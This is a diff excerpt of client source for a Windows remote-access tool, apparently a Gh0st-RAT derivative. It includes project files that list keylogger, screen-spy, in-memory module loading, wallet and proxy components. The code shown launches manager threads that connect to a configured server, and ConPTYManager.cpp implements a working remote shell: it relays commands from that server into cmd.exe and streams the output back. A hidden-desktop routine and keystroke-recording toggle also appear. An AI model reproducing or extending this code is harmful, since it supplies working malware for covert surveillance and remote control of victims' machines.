<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
97
client/ClientDll_vs2015.vcxproj.filters
Normal file
97
client/ClientDll_vs2015.vcxproj.filters
Normal file
@@ -0,0 +1,97 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\common\ikcp.c" />
|
||||
<ClCompile Include="..\common\zstd_wrapper.c" />
|
||||
<ClCompile Include="..\server\2015Remote\pwd_gen.cpp" />
|
||||
<ClCompile Include="Audio.cpp" />
|
||||
<ClCompile Include="AudioManager.cpp" />
|
||||
<ClCompile Include="Buffer.cpp" />
|
||||
<ClCompile Include="CaptureVideo.cpp" />
|
||||
<ClCompile Include="clang_rt_compat.c" />
|
||||
<ClCompile Include="ClientDll.cpp" />
|
||||
<ClCompile Include="Common.cpp" />
|
||||
<ClCompile Include="FileManager.cpp" />
|
||||
<ClCompile Include="IOCPClient.cpp" />
|
||||
<ClCompile Include="IOCPKCPClient.cpp" />
|
||||
<ClCompile Include="IOCPUDPClient.cpp" />
|
||||
<ClCompile Include="KernelManager.cpp" />
|
||||
<ClCompile Include="KeyboardManager.cpp" />
|
||||
<ClCompile Include="keylogger.cpp" />
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="LoginServer.cpp" />
|
||||
<ClCompile Include="Manager.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
<ClCompile Include="proxy\ProxyManager.cpp" />
|
||||
<ClCompile Include="RegisterManager.cpp" />
|
||||
<ClCompile Include="RegisterOperation.cpp" />
|
||||
<ClCompile Include="SafeThread.cpp" />
|
||||
<ClCompile Include="ScreenManager.cpp" />
|
||||
<ClCompile Include="ScreenSpy.cpp" />
|
||||
<ClCompile Include="ServicesManager.cpp" />
|
||||
<ClCompile Include="ShellManager.cpp" />
|
||||
<ClCompile Include="StdAfx.cpp" />
|
||||
<ClCompile Include="SystemManager.cpp" />
|
||||
<ClCompile Include="TalkManager.cpp" />
|
||||
<ClCompile Include="VideoManager.cpp" />
|
||||
<ClCompile Include="X264Encoder.cpp" />
|
||||
<ClCompile Include="..\common\file_upload.cpp" />
|
||||
<ClCompile Include="ConPTYManager.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\common\file_upload.h" />
|
||||
<ClInclude Include="..\common\ikcp.h" />
|
||||
<ClInclude Include="..\common\location.h" />
|
||||
<ClInclude Include="..\common\wallet.h" />
|
||||
<ClInclude Include="..\common\zstd_wrapper.h" />
|
||||
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
|
||||
<ClInclude Include="Audio.h" />
|
||||
<ClInclude Include="AudioManager.h" />
|
||||
<ClInclude Include="Buffer.h" />
|
||||
<ClInclude Include="CaptureVideo.h" />
|
||||
<ClInclude Include="clip.h" />
|
||||
<ClInclude Include="Common.h" />
|
||||
<ClInclude Include="CursorInfo.h" />
|
||||
<ClInclude Include="FileManager.h" />
|
||||
<ClInclude Include="IOCPClient.h" />
|
||||
<ClInclude Include="IOCPKCPClient.h" />
|
||||
<ClInclude Include="IOCPUDPClient.h" />
|
||||
<ClInclude Include="KernelManager.h" />
|
||||
<ClInclude Include="KeyboardManager.h" />
|
||||
<ClInclude Include="keylogger.h" />
|
||||
<ClInclude Include="LoginServer.h" />
|
||||
<ClInclude Include="Manager.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="proxy\ProxyManager.h" />
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="SafeThread.h" />
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
<ClInclude Include="ShellManager.h" />
|
||||
<ClInclude Include="StdAfx.h" />
|
||||
<ClInclude Include="SystemManager.h" />
|
||||
<ClInclude Include="TalkManager.h" />
|
||||
<ClInclude Include="VideoCodec.h" />
|
||||
<ClInclude Include="VideoManager.h" />
|
||||
<ClInclude Include="X264Encoder.h" />
|
||||
<ClInclude Include="ConPTYManager.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="Script.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Media Include="Res\msg.wav" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Image Include="Res\ghost.ico" />
|
||||
<Image Include="Res\msg.ico" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ExportFunTable.def" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
4
client/ClientDll_vs2015.vcxproj.user
Normal file
4
client/ClientDll_vs2015.vcxproj.user
Normal file
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
150
client/Common.cpp
Normal file
150
client/Common.cpp
Normal file
@@ -0,0 +1,150 @@
|
||||
#include "StdAfx.h"
|
||||
#include "Common.h"
|
||||
|
||||
#include "ScreenManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "TalkManager.h"
|
||||
#include "ShellManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "ConPTYManager.h"
|
||||
#include "AudioManager.h"
|
||||
#include "RegisterManager.h"
|
||||
#include "ServicesManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "ProxyManager.h"
|
||||
|
||||
#include "KernelManager.h"
|
||||
#include <iniFile.h>
|
||||
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam)
|
||||
{
|
||||
THREAD_ARG_LIST ThreadArgList = {0};
|
||||
memcpy(&ThreadArgList,lParam,sizeof(THREAD_ARG_LIST));
|
||||
SetEvent(ThreadArgList.hEvent);
|
||||
|
||||
DWORD dwReturn = ThreadArgList.StartAddress(ThreadArgList.lParam);
|
||||
return dwReturn;
|
||||
}
|
||||
|
||||
template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
{
|
||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||
IOCPClient *ClientObject = (IOCPClient *)pInfo->p;
|
||||
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
|
||||
ClientObject->SetServerAddress(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||
if (pInfo->run == FOREVER_RUN || ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||||
Manager m(ClientObject, n, pInfo->user);
|
||||
pInfo->user = &m;
|
||||
ClientObject->RunEventLoop(pInfo->run);
|
||||
pInfo->user = NULL;
|
||||
}
|
||||
delete ClientObject;
|
||||
pInfo->p = NULL;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64d.lib")
|
||||
#else
|
||||
#pragma comment(lib, "PrivateDesktop_Libx64.lib")
|
||||
#endif
|
||||
#else
|
||||
#ifdef _DEBUG
|
||||
#pragma comment(lib, "PrivateDesktop_Libd.lib")
|
||||
#else
|
||||
#pragma comment(lib, "PrivateDesktop_Lib.lib")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& msg, const std::string& signature,
|
||||
const std::string& hash, const std::string& hmac, const std::vector<BYTE>& bmpData)
|
||||
{
|
||||
void ShowBlackWindow(IOCPBase * ClientObject, CONNECT_ADDRESS * conn, const std::string & hash, const std::string & hmac,
|
||||
const std::vector<BYTE>& bmpData);
|
||||
IOCPClient* ClientObject = new IOCPClient(exit, true, MaskTypeNone, conn);
|
||||
if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) {
|
||||
ClientObject->SetVerifyInfo(msg, signature);
|
||||
CScreenManager m(ClientObject, 32, (void*)1, TRUE);
|
||||
if (IsWindows8orHigher()) {
|
||||
ShowBlackWindow(ClientObject, conn, hash, hmac, bmpData);
|
||||
} else {
|
||||
ClientObject->RunEventLoop(TRUE);
|
||||
}
|
||||
}
|
||||
delete ClientObject;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CScreenManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopFileManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CFileManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CTalkManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam)
|
||||
{
|
||||
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
|
||||
if (CConPTYManager::IsConPTYSupported()) {
|
||||
return LoopManager<CConPTYManager, 0>(lParam);
|
||||
}
|
||||
return LoopManager<CShellManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CSystemManager, COMMAND_SYSTEM>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CSystemManager, COMMAND_WSLIST>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CVideoManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CAudioManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CRegisterManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CServicesManager, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
|
||||
{
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
std::string s = cfg.GetStr("settings", "kbrecord", "No");
|
||||
if (s == "Yes") {
|
||||
return LoopManager<CKeyboardManager1, 1>(lParam);
|
||||
}
|
||||
return LoopManager<CKeyboardManager1, 0>(lParam);
|
||||
}
|
||||
|
||||
DWORD WINAPI LoopProxyManager(LPVOID lParam)
|
||||
{
|
||||
return LoopManager<CProxyManager, 0>(lParam);
|
||||
}
|
||||
38
client/Common.h
Normal file
38
client/Common.h
Normal file
@@ -0,0 +1,38 @@
|
||||
#pragma once
|
||||
#include "StdAfx.h"
|
||||
#include "IOCPClient.h"
|
||||
#include "common/commands.h"
|
||||
#include <vector>
|
||||
|
||||
typedef struct _THREAD_ARG_LIST {
|
||||
DWORD (WINAPI *StartAddress)(LPVOID lParameter);
|
||||
LPVOID lParam;
|
||||
bool bInteractive; // 是否支持交互桌面 ??
|
||||
HANDLE hEvent;
|
||||
} THREAD_ARG_LIST, *LPTHREAD_ARG_LIST;
|
||||
|
||||
typedef struct UserParam {
|
||||
BYTE* buffer;
|
||||
int length;
|
||||
~UserParam()
|
||||
{
|
||||
SAFE_DELETE_ARRAY(buffer);
|
||||
}
|
||||
} UserParam;
|
||||
|
||||
DWORD WINAPI ThreadProc(LPVOID lParam);
|
||||
DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& msg, const std::string& signature,
|
||||
const std::string& hash, const std::string& hmac, const std::vector<BYTE>& bmpData = std::vector<BYTE>());
|
||||
|
||||
DWORD WINAPI LoopShellManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopScreenManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopFileManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopTalkManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopProcessManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopWindowManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopVideoManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopAudioManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopRegisterManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopServicesManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
|
||||
DWORD WINAPI LoopProxyManager(LPVOID lParam);
|
||||
343
client/ConPTYManager.cpp
Normal file
343
client/ConPTYManager.cpp
Normal file
@@ -0,0 +1,343 @@
|
||||
// ConPTYManager.cpp: Windows ConPTY terminal manager implementation
|
||||
// Provides xterm.js compatible terminal for Windows 10 1809+
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ConPTYManager.h"
|
||||
#include "Common.h"
|
||||
#include "../common/commands.h"
|
||||
|
||||
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
|
||||
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
|
||||
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
|
||||
ProcThreadAttributeValue(22, FALSE, TRUE, FALSE)
|
||||
#endif
|
||||
|
||||
// Static members
|
||||
PFN_CreatePseudoConsole CConPTYManager::s_pfnCreatePseudoConsole = nullptr;
|
||||
PFN_ResizePseudoConsole CConPTYManager::s_pfnResizePseudoConsole = nullptr;
|
||||
PFN_ClosePseudoConsole CConPTYManager::s_pfnClosePseudoConsole = nullptr;
|
||||
bool CConPTYManager::s_bApiLoaded = false;
|
||||
|
||||
bool CConPTYManager::LoadConPTYApi()
|
||||
{
|
||||
if (s_bApiLoaded) {
|
||||
return s_pfnCreatePseudoConsole != nullptr;
|
||||
}
|
||||
s_bApiLoaded = true;
|
||||
|
||||
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
|
||||
if (!hKernel) return false;
|
||||
|
||||
s_pfnCreatePseudoConsole = (PFN_CreatePseudoConsole)GetProcAddress(hKernel, "CreatePseudoConsole");
|
||||
s_pfnResizePseudoConsole = (PFN_ResizePseudoConsole)GetProcAddress(hKernel, "ResizePseudoConsole");
|
||||
s_pfnClosePseudoConsole = (PFN_ClosePseudoConsole)GetProcAddress(hKernel, "ClosePseudoConsole");
|
||||
|
||||
return s_pfnCreatePseudoConsole && s_pfnResizePseudoConsole && s_pfnClosePseudoConsole;
|
||||
}
|
||||
|
||||
bool CConPTYManager::IsConPTYSupported()
|
||||
{
|
||||
return LoadConPTYApi();
|
||||
}
|
||||
|
||||
CConPTYManager::CConPTYManager(IOCPClient* ClientObject, int n, void* user)
|
||||
: CManager(ClientObject)
|
||||
, m_hPC(nullptr)
|
||||
, m_hPipeIn(nullptr)
|
||||
, m_hPipeOut(nullptr)
|
||||
, m_hShellProcess(nullptr)
|
||||
, m_hShellThread(nullptr)
|
||||
, m_hReadThread(nullptr)
|
||||
, m_bRunning(TRUE)
|
||||
, m_cols(80)
|
||||
, m_rows(24)
|
||||
{
|
||||
if (!LoadConPTYApi()) {
|
||||
Mprintf("[ConPTY] API not available\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// Initialize with default size, will be resized when server sends size
|
||||
if (!InitializeConPTY(m_cols, m_rows)) {
|
||||
Mprintf("[ConPTY] Failed to initialize\n");
|
||||
return;
|
||||
}
|
||||
|
||||
// Send terminal start token
|
||||
BYTE bToken = TOKEN_TERMINAL_START;
|
||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||
m_ClientObject->Send2Server((char*)&bToken, 1, &mask);
|
||||
|
||||
// Start read thread immediately, it will wait for server ready internally
|
||||
m_hReadThread = __CreateThread(NULL, 0, ReadThread, (LPVOID)this, 0, NULL);
|
||||
}
|
||||
|
||||
CConPTYManager::~CConPTYManager()
|
||||
{
|
||||
m_bRunning = FALSE;
|
||||
|
||||
// Wake up read thread if it's waiting for server ready
|
||||
NotifyDialogIsOpen();
|
||||
|
||||
// Close pipes first to unblock ReadThread
|
||||
if (m_hPipeIn) {
|
||||
CloseHandle(m_hPipeIn);
|
||||
m_hPipeIn = nullptr;
|
||||
}
|
||||
if (m_hPipeOut) {
|
||||
CloseHandle(m_hPipeOut);
|
||||
m_hPipeOut = nullptr;
|
||||
}
|
||||
|
||||
// Wait for read thread with timeout
|
||||
int waitCount = 0;
|
||||
while (m_hReadThread && waitCount < 30) { // 3 second timeout
|
||||
Sleep(100);
|
||||
waitCount++;
|
||||
}
|
||||
|
||||
// Close ConPTY
|
||||
if (m_hPC && s_pfnClosePseudoConsole) {
|
||||
s_pfnClosePseudoConsole(m_hPC);
|
||||
m_hPC = nullptr;
|
||||
}
|
||||
|
||||
// Terminate process if still running
|
||||
if (m_hShellProcess) {
|
||||
DWORD exitCode = 0;
|
||||
if (GetExitCodeProcess(m_hShellProcess, &exitCode) && exitCode == STILL_ACTIVE) {
|
||||
TerminateProcess(m_hShellProcess, 0);
|
||||
}
|
||||
CloseHandle(m_hShellProcess);
|
||||
m_hShellProcess = nullptr;
|
||||
}
|
||||
if (m_hShellThread) {
|
||||
CloseHandle(m_hShellThread);
|
||||
m_hShellThread = nullptr;
|
||||
}
|
||||
}
|
||||
|
||||
bool CConPTYManager::InitializeConPTY(int cols, int rows)
|
||||
{
|
||||
// Create pipes
|
||||
HANDLE hPipeInRead = nullptr, hPipeInWrite = nullptr;
|
||||
HANDLE hPipeOutRead = nullptr, hPipeOutWrite = nullptr;
|
||||
|
||||
if (!CreatePipe(&hPipeInRead, &hPipeInWrite, nullptr, 0)) {
|
||||
Mprintf("[ConPTY] CreatePipe(in) failed: %d\n", GetLastError());
|
||||
return false;
|
||||
}
|
||||
if (!CreatePipe(&hPipeOutRead, &hPipeOutWrite, nullptr, 0)) {
|
||||
Mprintf("[ConPTY] CreatePipe(out) failed: %d\n", GetLastError());
|
||||
CloseHandle(hPipeInRead);
|
||||
CloseHandle(hPipeInWrite);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create pseudo console
|
||||
COORD size = { (SHORT)cols, (SHORT)rows };
|
||||
HRESULT hr = s_pfnCreatePseudoConsole(size, hPipeInRead, hPipeOutWrite, 0, &m_hPC);
|
||||
if (FAILED(hr)) {
|
||||
Mprintf("[ConPTY] CreatePseudoConsole failed: 0x%08X\n", hr);
|
||||
CloseHandle(hPipeInRead);
|
||||
CloseHandle(hPipeInWrite);
|
||||
CloseHandle(hPipeOutRead);
|
||||
CloseHandle(hPipeOutWrite);
|
||||
return false;
|
||||
}
|
||||
|
||||
// We read from hPipeOutRead (cmd output) and write to hPipeInWrite (cmd input)
|
||||
m_hPipeIn = hPipeOutRead;
|
||||
m_hPipeOut = hPipeInWrite;
|
||||
|
||||
// Close handles passed to ConPTY (they're now owned by ConPTY)
|
||||
CloseHandle(hPipeInRead);
|
||||
CloseHandle(hPipeOutWrite);
|
||||
|
||||
// Prepare startup info with pseudo console attribute
|
||||
STARTUPINFOEXW si = {};
|
||||
si.StartupInfo.cb = sizeof(si);
|
||||
|
||||
SIZE_T attrListSize = 0;
|
||||
InitializeProcThreadAttributeList(nullptr, 1, 0, &attrListSize);
|
||||
si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrListSize);
|
||||
if (!si.lpAttributeList) {
|
||||
Mprintf("[ConPTY] HeapAlloc failed\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrListSize)) {
|
||||
Mprintf("[ConPTY] InitializeProcThreadAttributeList failed: %d\n", GetLastError());
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
return false;
|
||||
}
|
||||
|
||||
// PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016
|
||||
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, m_hPC, sizeof(m_hPC), nullptr, nullptr)) {
|
||||
Mprintf("[ConPTY] UpdateProcThreadAttribute failed: %d\n", GetLastError());
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get cmd.exe path
|
||||
WCHAR cmdPath[MAX_PATH] = {};
|
||||
GetSystemDirectoryW(cmdPath, MAX_PATH);
|
||||
wcscat_s(cmdPath, L"\\cmd.exe");
|
||||
|
||||
// Create process
|
||||
PROCESS_INFORMATION pi = {};
|
||||
if (!CreateProcessW(nullptr, cmdPath, nullptr, nullptr, FALSE,
|
||||
EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, &si.StartupInfo, &pi)) {
|
||||
Mprintf("[ConPTY] CreateProcess failed: %d\n", GetLastError());
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_hShellProcess = pi.hProcess;
|
||||
m_hShellThread = pi.hThread;
|
||||
m_cols = cols;
|
||||
m_rows = rows;
|
||||
|
||||
DeleteProcThreadAttributeList(si.lpAttributeList);
|
||||
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
|
||||
|
||||
Mprintf("[ConPTY] Started cmd.exe (PID=%d) with %dx%d terminal\n", pi.dwProcessId, cols, rows);
|
||||
return true;
|
||||
}
|
||||
|
||||
void CConPTYManager::ResizeTerminal(int cols, int rows)
|
||||
{
|
||||
if (m_hPC && s_pfnResizePseudoConsole) {
|
||||
COORD size = { (SHORT)cols, (SHORT)rows };
|
||||
HRESULT hr = s_pfnResizePseudoConsole(m_hPC, size);
|
||||
if (SUCCEEDED(hr)) {
|
||||
m_cols = cols;
|
||||
m_rows = rows;
|
||||
Mprintf("[ConPTY] Resized to %dx%d\n", cols, rows);
|
||||
} else {
|
||||
Mprintf("[ConPTY] ResizePseudoConsole failed: 0x%08X\n", hr);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
VOID CConPTYManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
{
|
||||
if (ulLength == 0) return;
|
||||
|
||||
switch (szBuffer[0]) {
|
||||
case COMMAND_NEXT:
|
||||
NotifyDialogIsOpen();
|
||||
break;
|
||||
|
||||
case CMD_TERMINAL_RESIZE:
|
||||
// Resize command: [cmd:1][cols:2][rows:2]
|
||||
if (ulLength >= 5) {
|
||||
int cols = *(short*)(szBuffer + 1);
|
||||
int rows = *(short*)(szBuffer + 3);
|
||||
ResizeTerminal(cols, rows);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
// User input - write to PTY
|
||||
if (m_hPipeOut) {
|
||||
DWORD dwWritten = 0;
|
||||
WriteFile(m_hPipeOut, szBuffer, ulLength, &dwWritten, nullptr);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
|
||||
{
|
||||
CConPTYManager* pThis = (CConPTYManager*)lParam;
|
||||
char buffer[4096];
|
||||
|
||||
// Wait for server terminal ready (WebView2 initialization may take time)
|
||||
// Check m_bRunning every 500ms to allow quick exit
|
||||
while (pThis->m_bRunning) {
|
||||
DWORD result = WaitForSingleObject(pThis->m_hEventDlgOpen, 500);
|
||||
if (result == WAIT_OBJECT_0) {
|
||||
break; // Server is ready
|
||||
}
|
||||
// WAIT_TIMEOUT: continue loop and check m_bRunning
|
||||
}
|
||||
|
||||
if (!pThis->m_bRunning) {
|
||||
Mprintf("[ConPTY] Read thread exiting before server ready\n");
|
||||
SAFE_CLOSE_HANDLE(pThis->m_hReadThread);
|
||||
pThis->m_hReadThread = nullptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
Mprintf("[ConPTY] Server ready, starting to read\n");
|
||||
|
||||
while (pThis->m_bRunning) {
|
||||
// Check if process has exited
|
||||
if (pThis->m_hShellProcess) {
|
||||
DWORD exitCode = 0;
|
||||
if (GetExitCodeProcess(pThis->m_hShellProcess, &exitCode)) {
|
||||
if (exitCode != STILL_ACTIVE) {
|
||||
Mprintf("[ConPTY] Process exited with code %d\n", exitCode);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Check if pipe handle is still valid
|
||||
if (!pThis->m_hPipeIn) {
|
||||
Mprintf("[ConPTY] Pipe handle is null\n");
|
||||
break;
|
||||
}
|
||||
|
||||
// Check if data is available (non-blocking)
|
||||
DWORD dwAvailable = 0;
|
||||
if (!PeekNamedPipe(pThis->m_hPipeIn, nullptr, 0, nullptr, &dwAvailable, nullptr)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_BROKEN_PIPE || err == ERROR_INVALID_HANDLE) {
|
||||
Mprintf("[ConPTY] Pipe closed (err=%d)\n", err);
|
||||
break;
|
||||
}
|
||||
// Other error, wait and retry
|
||||
Sleep(10);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (dwAvailable == 0) {
|
||||
// No data available, wait a bit
|
||||
Sleep(10);
|
||||
continue;
|
||||
}
|
||||
|
||||
// Read available data
|
||||
DWORD dwRead = 0;
|
||||
DWORD toRead = min(dwAvailable, (DWORD)sizeof(buffer));
|
||||
if (!ReadFile(pThis->m_hPipeIn, buffer, toRead, &dwRead, nullptr)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_BROKEN_PIPE && err != ERROR_INVALID_HANDLE) {
|
||||
Mprintf("[ConPTY] ReadFile failed: %d\n", err);
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
if (dwRead > 0) {
|
||||
// Send to server
|
||||
pThis->m_ClientObject->Send2Server(buffer, dwRead);
|
||||
}
|
||||
}
|
||||
|
||||
// Send close notification
|
||||
if (pThis->m_ClientObject) {
|
||||
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
|
||||
pThis->m_ClientObject->Send2Server((char*)&closeToken, 1);
|
||||
Mprintf("[ConPTY] Sent TOKEN_TERMINAL_CLOSE\n");
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(pThis->m_hReadThread);
|
||||
pThis->m_hReadThread = nullptr;
|
||||
Mprintf("[ConPTY] Read thread exited\n");
|
||||
return 0;
|
||||
}
|
||||
60
client/ConPTYManager.h
Normal file
60
client/ConPTYManager.h
Normal file
@@ -0,0 +1,60 @@
|
||||
// ConPTYManager.h: Windows ConPTY terminal manager for xterm.js support
|
||||
// Requires Windows 10 1809+ for ConPTY API
|
||||
|
||||
#ifndef CONPTYMANAGER_H
|
||||
#define CONPTYMANAGER_H
|
||||
|
||||
#include "Manager.h"
|
||||
#include "IOCPClient.h"
|
||||
|
||||
// ConPTY API types (dynamically loaded)
|
||||
typedef VOID* HPCON;
|
||||
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
|
||||
typedef HRESULT (WINAPI *PFN_ResizePseudoConsole)(HPCON hPC, COORD size);
|
||||
typedef void (WINAPI *PFN_ClosePseudoConsole)(HPCON hPC);
|
||||
|
||||
class CConPTYManager : public CManager
|
||||
{
|
||||
public:
|
||||
CConPTYManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CConPTYManager();
|
||||
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
// Check if ConPTY is supported on this system
|
||||
static bool IsConPTYSupported();
|
||||
|
||||
private:
|
||||
// ConPTY handles
|
||||
HPCON m_hPC;
|
||||
HANDLE m_hPipeIn; // Read from cmd output
|
||||
HANDLE m_hPipeOut; // Write to cmd input
|
||||
HANDLE m_hShellProcess;
|
||||
HANDLE m_hShellThread;
|
||||
HANDLE m_hReadThread;
|
||||
|
||||
// State
|
||||
BOOL m_bRunning;
|
||||
int m_cols;
|
||||
int m_rows;
|
||||
|
||||
// ConPTY API function pointers
|
||||
static PFN_CreatePseudoConsole s_pfnCreatePseudoConsole;
|
||||
static PFN_ResizePseudoConsole s_pfnResizePseudoConsole;
|
||||
static PFN_ClosePseudoConsole s_pfnClosePseudoConsole;
|
||||
static bool s_bApiLoaded;
|
||||
|
||||
// Load ConPTY API
|
||||
static bool LoadConPTYApi();
|
||||
|
||||
// Initialize ConPTY and start cmd.exe
|
||||
bool InitializeConPTY(int cols, int rows);
|
||||
|
||||
// Resize terminal
|
||||
void ResizeTerminal(int cols, int rows);
|
||||
|
||||
// Thread to read from PTY
|
||||
static DWORD WINAPI ReadThread(LPVOID lParam);
|
||||
};
|
||||
|
||||
#endif // CONPTYMANAGER_H
|
||||
202
client/CursorInfo.h
Normal file
202
client/CursorInfo.h
Normal file
@@ -0,0 +1,202 @@
|
||||
// CursorInfor.h: interface for the CCursorInfor class.
|
||||
//
|
||||
